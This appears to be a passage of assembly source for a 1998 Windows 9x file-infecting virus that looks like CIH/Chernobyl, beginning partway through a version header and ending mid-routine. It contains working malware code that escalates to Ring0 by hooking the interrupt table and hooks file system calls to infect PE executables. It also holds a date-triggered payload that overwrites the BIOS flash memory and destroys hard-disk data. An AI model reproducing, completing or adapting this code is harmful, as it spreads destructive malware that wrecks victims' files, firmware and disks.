; *             2. Modify the Bug of v1.1                                    *
; * 05/21/1998  3. The Virus "Basic" Size is 1003 Bytes.                     *
;
****************************************************************************


                .586P

;
****************************************************************************

; *             Original PE Executable File(Don't Modify this Section)     
*
;
****************************************************************************


OriginalAppEXE  SEGMENT

FileHeader:
                db      04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
                db      004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
                db      0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
                db      00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
                db      021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
                db      069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
                db      061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
                db      074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
                db      020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
                db      06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
                db      024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
                db      0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
                db      00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
                db      000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
                db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
                db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
                db      000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
                db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
                db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
                db      000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
                db      000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
                db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                dd      00000000h, VirusSize

OriginalAppEXE  ENDS

;
****************************************************************************

; *                     My Virus Game                                      
*
;
****************************************************************************


; *********************************************************
; *                    Constant Define                    *
; *********************************************************

TRUE                    =       1
FALSE                   =       0
DEBUG                   =       TRUE
MajorVirusVersion       =       1
MinorVirusVersion       =       2
VirusVersion            =       MajorVirusVersion*10h+MinorVirusVersion

IF      DEBUG
        FirstKillHardDiskNumber =       81h
        HookExceptionNumber     =       05h
ELSE
        FirstKillHardDiskNumber =       80h
        HookExceptionNumber     =       03h
ENDIF

FileNameBufferSize      =       7fh
; *********************************************************
VirusGame               SEGMENT
                        ASSUME  CS:VirusGame, DS:VirusGame, SS:VirusGame
                        ASSUME  ES:VirusGame, FS:VirusGame, GS:VirusGame
; *********************************************************
; *             Ring3 Virus Game Initial Program          *
; *********************************************************
MyVirusStart:
                        push    ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error  *
; * Occurrence, Especially in NT.     *
; *************************************
                        lea     eax, [esp-04h*2]
                        xor     ebx, ebx
                        xchg    eax, fs:[ebx]
                        call    @0
@0:
                        pop     ebx
                        lea     ecx, StopToRunVirusCode-@0[ebx]
                        push    ecx
                        push    eax
; *************************************
; * Let's Modify                      *
; * IDT(Interrupt Descriptor Table)   *
; * to Get Ring0 Privilege...         *
; *************************************
                        push    eax             ;
                        sidt    [esp-02h]       ; Get IDT Base Address
                        pop     ebx             ;
                        add     ebx, HookExceptionNumber*08h+04h ; ZF = 0
                        cli
                        mov     ebp, [ebx]      ; Get Exception Base
                        mov     bp, [ebx-04h]   ; Entry Point
                        lea     esi, MyExceptionHook-@1[ecx]
                        push    esi
                        mov     [ebx-04h], si           ;
                        shr     esi, 16                 ; Modify Exception
                        mov     [ebx+02h], si           ; Entry Point Address
                        pop     esi
; *************************************
; * Generate Exception to Get Ring0   *
; *************************************
                        int     HookExceptionNumber     ; GenerateException
ReturnAddressOfEndException     =       $
; *************************************
; * Merge All Virus Code Section      *
; *************************************
                        push    esi
                        mov     esi, eax
LoopOfMergeAllVirusCodeSection:
                        mov     ecx, [eax-04h]
                        rep     movsb
                        sub     eax, 08h
                        mov     esi, [eax]
                        or      esi, esi
                        jz      QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
                        jmp     LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
                        pop     esi
; *************************************
; * Generate Exception Again          *
; *************************************
                        int     HookExceptionNumber     ; GenerateException Again
; *************************************
; * Let's Restore                     *
; * Structured Exception Handing      *
; *************************************
ReadyRestoreSE:
                        sti
                        xor     ebx, ebx
                        jmp     RestoreSE
; *************************************
; * When Exception Error Occurs,      *
; * Our OS System should be in NT.    *
; * So My Cute Virus will not         *
; * Continue to Run, it Jmups to      *
; * Original Application to Run.      *
; *************************************
StopToRunVirusCode:
@1                      =       StopToRunVirusCode
                        xor     ebx, ebx
                        mov     eax, fs:[ebx]
                        mov     esp, [eax]
RestoreSE:
                        pop     dword ptr fs:[ebx]
                        pop     eax
; *************************************
; * Return Original App to Execute    *
; *************************************
                        pop     ebp
                        push    00401000h       ; Push Original
OriginalAddressOfEntryPoint     =       $-4     ; App Entry Point to Stack
                        ret     ; Return to Original App Entry Point
; *********************************************************
; *             Ring0 Virus Game Initial Program          *
; *********************************************************
MyExceptionHook:
@2                      =       MyExceptionHook
                        jz      InstallMyFileSystemApiHook
; *************************************
; * Do My Virus Exist in System !?    *
; *************************************
                        mov     ecx, dr0
                        jecxz   AllocateSystemMemoryPage
                        add     dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
; *************************************
; * Return to Ring3 Initial Program   *
; *************************************
ExitRing0Init:
                        mov     [ebx-04h], bp   ;
                        shr     ebp, 16         ; Restore Exception
                        mov     [ebx+02h], bp   ;
                        iretd
; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************
AllocateSystemMemoryPage:
                        mov     dr0, ebx        ; Set the Mark of My Virus Exist in System
                        push    00000000fh      ;
                        push    ecx             ;
                        push    0ffffffffh      ;
                        push    ecx             ;
                        push    ecx             ;
                        push    ecx             ;
                        push    000000001h      ;
                        push    000000002h      ;
                        int     20h             ; VMMCALL _PageAllocate
_PageAllocate           =       $               ;
                        dd      00010053h       ; Use EAX, ECX, EDX, and flags
                        add     esp, 08h*04h
                        xchg    edi, eax        ; EDI = SystemMemory Start Address
                        lea     eax, MyVirusStart-@2[esi]
                        iretd   ; Return to Ring3 Initial Program
; *************************************
; * Install My File System Api Hook   *
; *************************************
InstallMyFileSystemApiHook:
                        lea     eax, FileSystemApiHook-@6[edi]
                        push    eax  ;
                        int     20h  ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook =       $       ;
                        dd      00400067h       ; Use EAX, ECX, EDX, and flags
                        mov     dr0, eax        ; Save OldFileSystemApiHook Address
                        pop     eax     ; EAX = FileSystemApiHook Address
        
                        ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
                        mov     ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
                        mov     edx, [ecx]
                        mov     OldInstallFileSystemApiHook-@3[eax], edx

                        ; Modify IFSMgr_InstallFileSystemApiHook Entry Point
                        lea     eax, InstallFileSystemApiHook-@3[eax]
                        mov     [ecx], eax

                        cli
                        jmp     ExitRing0Init
; *********************************************************
; *             Code Size of Merge Virus Code Section     *
; *********************************************************
CodeSizeOfMergeVirusCodeSection         =       offset $
; *********************************************************
; *             IFSMgr_InstallFileSystemApiHook           *
; *********************************************************
InstallFileSystemApiHook:
                        push    ebx
                        call    @4      ;
@4:                                     ;
                        pop     ebx     ; mov ebx, offset FileSystemApiHook
                        add     ebx, FileSystemApiHook-@4       ;
                        push    ebx
                        int     20h  ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook  =       $
                        dd      00400068h       ; Use EAX, ECX, EDX, and flags
                        pop     eax

                        ; Call Original IFSMgr_InstallFileSystemApiHook
                        ; to Link Client FileSystemApiHook
                        push    dword ptr [esp+8]
                        call    OldInstallFileSystemApiHook-@3[ebx]
                        pop     ecx
                        push    eax

                        ; Call Original IFSMgr_InstallFileSystemApiHook
                        ; to Link My FileSystemApiHook
                        push    ebx
                        call    OldInstallFileSystemApiHook-@3[ebx]
                        pop     ecx
                        mov     dr0, eax        ; Adjust OldFileSystemApiHook Address
                        pop     eax
                        pop     ebx
                        ret
; *********************************************************
; *                     Static Data                       *
; *********************************************************
OldInstallFileSystemApiHook     dd      ?
; *********************************************************
; *             IFSMgr_FileSystemHook                     *
; *********************************************************

; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************
FileSystemApiHook:
@3                      =       FileSystemApiHook
                        pushad
                        call    @5      ;
@5:                                     ;
                        pop     esi     ; mov esi, offset
VirusGameDataStartAddress
                        add     esi, VirusGameDataStartAddress-@5
; *************************************
; * Is OnBusy !?                      *
; *************************************
                        test    byte ptr (OnBusy-@6)[esi], 01h  ; if ( OnBusy )
                        jnz     pIFSFunc                        ; goto pIFSFunc
; *************************************
; * Is OpenFile !?                    *
; *************************************
                        ; if ( NotOpenFile )
                        ; goto prevhook
                        lea     ebx, [esp+20h+04h+04h]
                        cmp     dword ptr [ebx], 00000024h
                        jne     prevhook
; *************************************
; * Enable OnBusy                     *
; *************************************
                        inc     byte ptr (OnBusy-@6)[esi]       ; Enable OnBusy
; *************************************
; * Get FilePath's DriveNumber,       *
; * then Set the DriveName to         *
; * FileNameBuffer.                   *
; *************************************
; * Ex. If DriveNumber is 03h,        *
; *     DriveName is 'C:'.            *
; *************************************
                        ; mov esi, offset FileNameBuffer
                        add     esi, FileNameBuffer-@6
                        push    esi
                        mov     al, [ebx+04h]
                        cmp     al, 0ffh
                        je      CallUniToBCSPath
                        add     al, 40h
                        mov     ah, ':'
                        mov     [esi], eax
                        inc     esi
                        inc     esi
; *************************************
; * UniToBCSPath                      *
; *************************************
; * This Service Converts             *
; * a Canonicalized Unicode Pathname  *
; * to a Normal Pathname in the       *
; * Specified BCS Character Set.      *
; *************************************
CallUniToBCSPath:
                        push    00000000h
                        push    FileNameBufferSize
                        mov     ebx, [ebx+10h]
                        mov     eax, [ebx+0ch]
                        add     eax, 04h
                        push    eax
                        push    esi
                        int     20h     ; VXDCall UniToBCSPath
UniToBCSPath            =       $
                        dd      00400041h
                        add     esp, 04h*04h
; *************************************
; * Is FileName '.EXE' !?             *
; *************************************
                        ; cmp [esi+eax-04h], '.EXE'
                        cmp     [esi+eax-04h], 'EXE.'
                        pop     esi
                        jne     DisableOnBusy
IF      DEBUG
; *************************************
; * Only for Debug                    *
; *************************************
                        ; cmp [esi+eax-06h], '****'
                        cmp     [esi+eax-06h], 'KCUF'
                        jne     DisableOnBusy
ENDIF
; *************************************
; * Is Open Existing File !?          *
; *************************************
                        ; if ( NotOpenExistingFile )
                        ; goto DisableOnBusy
                        cmp     word ptr [ebx+18h], 01h
                        jne     DisableOnBusy
; *************************************
; * Get Attributes of the File        *
; *************************************
                        mov     ax, 4300h
                        int     20h     ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO     =       $
                        dd      00400032h
                        jc      DisableOnBusy
                        push    ecx
; *************************************
; * Get IFSMgr_Ring0_FileIO Address   *
; *************************************
                        mov     edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
                        mov     edi, [edi]
; *************************************
; * Is Read-Only File !?              *
; *************************************
                        test    cl, 01h
                        jz      OpenFile
; *************************************
; * Modify Read-Only File to Write    *
; *************************************
                        mov     ax, 4301h
                        xor     ecx, ecx
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Open File                         *
; *************************************
OpenFile:
                        xor     eax, eax
                        mov     ah, 0d5h
                        xor     ecx, ecx
                        xor     edx, edx
                        inc     edx
                        mov     ebx, edx
                        inc     ebx
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO
                        xchg    ebx, eax        ; mov ebx, FileHandle
; *************************************
; * Need to Restore                   *
; * Attributes of the File !?         *
; *************************************
                        pop     ecx
                        pushf
                        test    cl, 01h
                        jz      IsOpenFileOK
; *************************************
; * Restore Attributes of the File    *
; *************************************
                        mov     ax, 4301h
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Is Open File OK !?                *
; *************************************
IsOpenFileOK:
                        popf
                        jc      DisableOnBusy
; *************************************
; * Open File Already Succeed.   ^__^ *
; *************************************
                        push    esi     ; Push FileNameBuffer Address to Stack
                        pushf           ; Now CF = 0, Push Flag to Stack
                        add     esi, DataBuffer-@7 ; mov esi, offset DataBuffer
; ***************************
; * Get OffsetToNewHeader   *
; ***************************
                        xor     eax, eax
                        mov     ah, 0d6h

                        ; For Doing Minimal VirusCode's Length,
                        ; I Save EAX to EBP.
                        mov     ebp, eax
                        xor     ecx, ecx
                        mov     cl, 04h
                        xor     edx, edx
                        mov     dl, 3ch
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO
                        mov     edx, [esi]
; ***************************
; * Get 'PE\0' Signature    *
; * of ImageFileHeader, and *
; * Infected Mark.          *
; ***************************
                        dec     edx
                        mov     eax, ebp
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Is PE !?                *
; ***************************
; * Is the File             *
; * Already Infected !?     *
; ***************************
                        ; cmp [esi], '\0PE\0'
                        cmp     dword ptr [esi], 00455000h
                        jne     CloseFile
; *************************************
; * The File is                   ^o^ *
; * PE(Portable Executable) indeed.   *
; *************************************
; * The File isn't also Infected.     *
; *************************************

; *************************************
; * Start to Infect the File          *
; *************************************
; * Registers Use Status Now :        *
; *                                   *
; * EAX = 04h                         *
; * EBX = File Handle                 *
; * ECX = 04h                         *
; * EDX = 'PE\0\0' Signature of       *
; *       ImageFileHeader Pointer's   *
; *       Former Byte.                *
; * ESI = DataBuffer Address ==> @8   *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump :                      *
; *                                   *
; * ESP => -------------------------  *
; *        |       EFLAG(CF=0)     |  *
; *        -------------------------  *
; *        | FileNameBufferPointer |  *
; *        -------------------------  *
; *        |          EDI          |  *
; *        -------------------------  *
; *        |          ESI          |  *
; *        -------------------------  *
; *        |          EBP          |  *
; *        -------------------------  *
; *        |          ESP          |  *
; *        -------------------------  *
; *        |          EBX          |  *
; *        -------------------------  *
; *        |          EDX          |  *
; *        -------------------------  *
; *        |          ECX          |  *
; *        -------------------------  *
; *        |          EAX          |  *
; *        -------------------------  *
; *        |     Return Address    |  *
; *        -------------------------  *
; *************************************
                        push    ebx     ; Save File Handle
                        push    00h     ; Set VirusCodeSectionTableEndMark
; ***************************
; * Let's Set the           *
; * Virus' Infected Mark    *
; ***************************
                        push    01h     ; Size
                        push    edx     ; Pointer of File
                        push    edi     ; Address of Buffer
; ***************************
; * Save ESP Register       *
; ***************************
                        mov     dr1, esp
; ***************************
; * Let's Set the           *
; * NewAddressOfEntryPoint  *
; * ( Only First Set Size ) *
; ***************************
                        push    eax     ; Size
; ***************************
; * Let's Read              *
; * Image Header in File    *
; ***************************
                        mov     eax, ebp
                        mov     cl, SizeOfImageHeaderToRead
                        add     edx, 07h ; Move EDX to NumberOfSections
                        call    edi      ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Let's Set the           *
; * NewAddressOfEntryPoint  *
; * ( Set Pointer of File,  *
; *   Address of Buffer   ) *
; ***************************
                        lea     eax, (AddressOfEntryPoint-@8)[edx]
                        push    eax     ; Pointer of File
                        lea     eax, (NewAddressOfEntryPoint-@8)[esi]
                        push    eax     ; Address of Buffer
; ***************************
; * Move EDX to the Start   *
; * of SectionTable in File *
; ***************************
                        movzx   eax, word ptr (SizeOfOptionalHeader-@8)[esi]
                        lea     edx, [eax+edx+12h]
; ***************************
; * Let's Get               *
; * Total Size of Sections  *
; ***************************
                        mov     al, SizeOfScetionTable
                        ; I Assume NumberOfSections <= 0ffh
                        mov     cl, (NumberOfSections-@8)[esi]
                        mul     cl
; ***************************
; * Let's Set Section Table *
; ***************************
                        ; Move ESI to the Start of SectionTable
                        lea     esi, (StartOfSectionTable-@8)[esi]
                        push    eax     ; Size
                        push    edx     ; Pointer of File
                        push    esi     ; Address of Buffer
; ***************************
; * The Code Size of Merge  *
; * Virus Code Section and  *
; * Total Size of Virus     *
; * Code Section Table Must *
; * be Small or Equal the   *
; * Unused Space Size of    *
; * Following Section Table *
; ***************************
                        inc     ecx
                        push    ecx     ; Save NumberOfSections+1
                        shl     ecx, 03h
                        push    ecx     ; Save TotalSizeOfVirusCodeSectionTable
                        add     ecx, eax
                        add     ecx, edx
                        sub     ecx, (SizeOfHeaders-@9)[esi]
                        jnc     short OnlySetInfectedMark
                        not     ecx
                        inc     ecx
                        cmp     cx, small CodeSizeOfMergeVirusCodeSection
                        jb      OnlySetInfectedMark
; ***************************
; * Save Original           *
; * Address of Entry Point  *
; ***************************
                        ; Save My Virus First Section Code
                        ; Size of Following Section Table...
                        ; ( Not Include the Size of Virus Code Section Table )
                        push    ecx
                        xchg    ecx, eax        ; ECX = Size of Section Table
                        mov     eax, (AddressOfEntryPoint-@9)[esi]
                        add     eax, (ImageBase-@9)[esi]
                        mov     (OriginalAddressOfEntryPoint-@9)[esi], eax
; ***************************
; * Read All Section Tables *
; ***************************
                        mov     eax, ebp
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Let's Set Total Virus   *
; * Code Section Table      *
; ***************************
                        ; EBX = My Virus First Section Code
                        ;       Size of Following Section Table
                        pop     ebx
                        pop     edi     ; EDI = TotalSizeOfVirusCodeSectionTable
                        pop     ecx     ; ECX = NumberOfSections+1
                        push    edi             ; Size
                        add     edx, eax
                        push    edx             ; Pointer of File
                        add     eax, esi
                        push    eax             ; Address of Buffer
; ***************************
; * Set the First Virus     *
; * Code Section Size in    *
; * VirusCodeSectionTable   *
; ***************************
                        lea     eax, [eax+edi-04h]
                        mov     [eax], ebx
; ***************************
; * Let's Set My Virus      *
; * First Section Code      *
; ***************************
                        push    ebx     ; Size
                        add     edx, edi
                        push    edx     ; Pointer of File
                        lea     edi, (MyVirusStart-@9)[esi]
                        push    edi     ; Address of Buffer
; ***************************
; * Let's Modify the        *
; * AddressOfEntryPoint to  *
; * My Virus Entry Point    *
; ***************************
                        mov     (NewAddressOfEntryPoint-@9)[esi], edx
; ***************************
; * Setup Initial Data      *
; ***************************
                        lea     edx, [esi-SizeOfScetionTable]
                        mov     ebp, offset VirusSize
                        jmp     StartToWriteCodeToSections
; ***************************
; * Write Code to Sections  *
; ***************************
LoopOfWriteCodeToSections:
                        add     edx, SizeOfScetionTable
                        mov     ebx, (SizeOfRawData-@9)[edx]
                        sub     ebx, (VirtualSize-@9)[edx]
                        jbe     EndOfWriteCodeToSections
                        push    ebx     ; Size
                        sub     eax, 08h
                        mov     [eax], ebx
                        mov     ebx, (PointerToRawData-@9)[edx]
                        add     ebx, (VirtualSize-@9)[edx]
                        push    ebx     ; Pointer of File
                        push    edi     ; Address of Buffer
                        mov     ebx, (VirtualSize-@9)[edx]
                        add     ebx, (VirtualAddress-@9)[edx]
                        add     ebx, (ImageBase-@9)[esi]
                        mov     [eax+4], ebx
                        mov     ebx, [eax]
                        add     (VirtualSize-@9)[edx], ebx

                        ; Section contains initialized data ==> 00000040h
                        ; Section can be Read.              ==> 40000000h
                        or      (Characteristics-@9)[edx], 40000040h
StartToWriteCodeToSections:
                        sub     ebp, ebx
                        jbe     SetVirusCodeSectionTableEndMark
                        add     edi, ebx        ; Move Address of Buffer
EndOfWriteCodeToSections:
                        loop    LoopOfWriteCodeToSections
; ***************************
; * Only Set Infected Mark  *
; ***************************
OnlySetInfectedMark:
                        mov     esp, dr1
                        jmp     WriteVirusCodeToFile
; ***************************
; * Set Virus Code          *
; * Section Table End Mark  *
; ***************************
SetVirusCodeSectionTableEndMark:

                        ; Adjust Size of Virus Section Code to Correct Value
                        add     [eax], ebp
                        add     [esp+08h], ebp

                        ; Set End Mark
                        xor     ebx, ebx
                        mov     [eax-04h], ebx
; ***************************
; * When VirusGame Calls    *
; * VxDCall, VMM Modifies   *
; * the 'int 20h' and the   *
; * 'Service Identifier'    *
; * to 'Call [XXXXXXXX]'.   *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First.     ^__^    *
; ***************************
                        lea     eax, (LastVxDCallAddress-2-@9)[esi]
                        mov     cl, VxDCallTableSize
LoopOfRestoreVxDCallID:
                        mov     word ptr [eax], 20cdh
                        mov     edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
                        mov     [eax+2], edx
                        movzx   edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
                        sub     eax, edx
                        loop    LoopOfRestoreVxDCallID
; ***************************
; * Let's Write             *
; * Virus Code to the File  *
; ***************************
WriteVirusCodeToFile:
                        mov     eax, dr1
                        mov     ebx, [eax+10h]
                        mov     edi, [eax]
LoopOfWriteVirusCodeToFile:
                        pop     ecx
                        jecxz   SetFileModificationMark
                        mov     esi, ecx
                        mov     eax, 0d601h
                        pop     edx
                        pop     ecx
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO
                        jmp     LoopOfWriteVirusCodeToFile
; ***************************
; * Let's Set CF = 1 ==>    *
; * Need to Restore File    *
; * Modification Time       *
; ***************************
SetFileModificationMark:
                        pop     ebx
                        pop     eax
                        stc             ; Enable CF(Carry Flag)
                        pushf
; *************************************
; * Close File                        *
; *************************************
CloseFile:
                        xor     eax, eax
                        mov     ah, 0d7h
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Need to Restore File Modification *
; * Time !?                           *
; *************************************
                        popf
                        pop     esi
                        jnc     IsKillComputer
; *************************************
; * Restore File Modification Time    *
; *************************************
                        mov     ebx, edi
                        mov     ax, 4303h
                        mov     ecx, (FileModificationTime-@7)[esi]
                        mov     edi, (FileModificationTime+2-@7)[esi]
                        call    ebx     ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Disable OnBusy                    *
; *************************************
DisableOnBusy:
                        dec     byte ptr (OnBusy-@7)[esi]       ; Disable OnBusy
; *************************************
; * Call Previous FileSystemApiHook   *
; *************************************
prevhook:
                        popad
                        mov     eax, dr0        ;
                        jmp     [eax]           ; Jump to prevhook
; *************************************
; * Call the Function that the IFS    *
; * Manager Would Normally Call to    *
; * Implement this Particular I/O     *
; * Request.                          *
; *************************************
pIFSFunc:
                        mov     ebx, esp
                        push    dword ptr [ebx+20h+04h+14h]     ; Push pioreq
                        call    [ebx+20h+04h]                   ; Call pIFSFunc
                        pop     ecx                             ;
                        mov     [ebx+1ch], eax  ; Modify EAX Value in Stack
; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the  *
; * Returned pioreq.        *
; ***************************
                        cmp     dword ptr [ebx+20h+04h+04h], 00000024h
                        jne     QuitMyVirusFileSystemHook
; *****************
; * Get the File  *
; * Modification  *
; * Date and Time *
; * in DOS Format.*
; *****************
                        mov     eax, [ecx+28h]
                        mov     (FileModificationTime-@6)[esi], eax
; ***************************
; * Quit My Virus'          *
; * IFSMgr_FileSystemHook   *
; ***************************
QuitMyVirusFileSystemHook:
                        popad
                        ret
; *************************************
; * Kill Computer !? ...   *^_^*      *
; *************************************
IsKillComputer:
                        ; Get Now Month from BIOS CMOS
                        mov     ax, 0708h
                        out     70h, al
                        in      al, 71h
                        xchg    ah, al

                        ; Get Now Day from BIOS CMOS
                        out     70h, al
                        in      al, 71h
                        xor     ax, 0426h       ; 04/26/????
                        jne     DisableOnBusy
; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************

; ***************************
; * Kill BIOS EEPROM        *
; ***************************
                        mov     bp, 0cf8h
                        lea     esi, IOForEEPROM-@7[esi]
; ***********************
; * Show BIOS Page in   *
; * 000E0000 - 000EFFFF *
; *    (   64 KB   )    *
; ***********************
                        mov     edi, 8000384ch
                        mov     dx, 0cfeh
                        cli
                        call    esi
; ***********************
; * Show BIOS Page in   *
; * 000F0000 - 000FFFFF *
; *    (   64 KB   )    *
; ***********************
                        mov     di, 0058h
                        dec     edx                                     ; and al,0fh
                        mov     word ptr (BooleanCalculateCode-@10)[esi], 0f24h
                        call    esi
; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory  *
; * 000E0000 - 000E01FF *
; *   (   512 Bytes   ) *
; * , and the Section   *
; * of Extra BIOS can   *
; * be Writted...       *
; ***********************
                        lea     ebx, EnableEEPROMToWrite-@10[esi]
                        mov     eax, 0e5555h
                        mov     ecx, 0e2aaah
                        call    ebx
                        mov     byte ptr [eax], 60h
                        push    ecx
                        loop    $
; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory  *
; * 000E0000 - 000E007F *
; *   (   80h Bytes   ) *
; ***********************
                        xor     ah, ah
                        mov     [eax], al
                        xchg    ecx, eax
                        loop    $
; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data  *
; * 000E0000 - 000FFFFF *
; *   (   128 KB   )    *
; * can be Writted...   *
; ***********************
                        mov     eax, 0f5555h
                        pop     ecx
                        mov     ch, 0aah
                        call    ebx
                        mov     byte ptr [eax], 20h
                        loop    $
; ***********************
; * Kill the BIOS Main  *
; * ROM Data in Memory  *
; * 000FE000 - 000FE07F *
; *   (   80h Bytes   ) *
; ***********************
                        mov     ah, 0e0h
                        mov     [eax], al
; ***********************
; * Hide BIOS Page in   *
; * 000F0000 - 000FFFFF *
; *    (   64 KB   )    *
; ***********************
                                                                        ; or al,10h
                        mov     word ptr (BooleanCalculateCode-@10)[esi], 100ch
                        call    esi
; ***************************
; * Kill All HardDisk       *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs          *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************
KillHardDisk:
                        xor     ebx, ebx
                        mov     bh, FirstKillHardDiskNumber
                        push    ebx
                        sub     esp, 2ch
                        push    0c0001000h
                        mov     bh, 08h
                        push    ebx
                        push    ecx
                        push    ecx
                        push    ecx
                        push    40000501h
                        inc     ecx
                        push    ecx
                        push    ecx
                        mov     esi, esp
                        sub     esp, 0ach
LoopOfKillHardDisk:
                        int     20h
                        dd      00100004h       ; VXDCall IOS_SendCommand
                        cmp     word ptr [esi+06h], 0017h
                        je      KillNextDataSection
ChangeNextHardDisk:
                        inc     byte ptr [esi+4dh]
                        jmp     LoopOfKillHardDisk
KillNextDataSection:
                        add     dword ptr [esi+10h], ebx
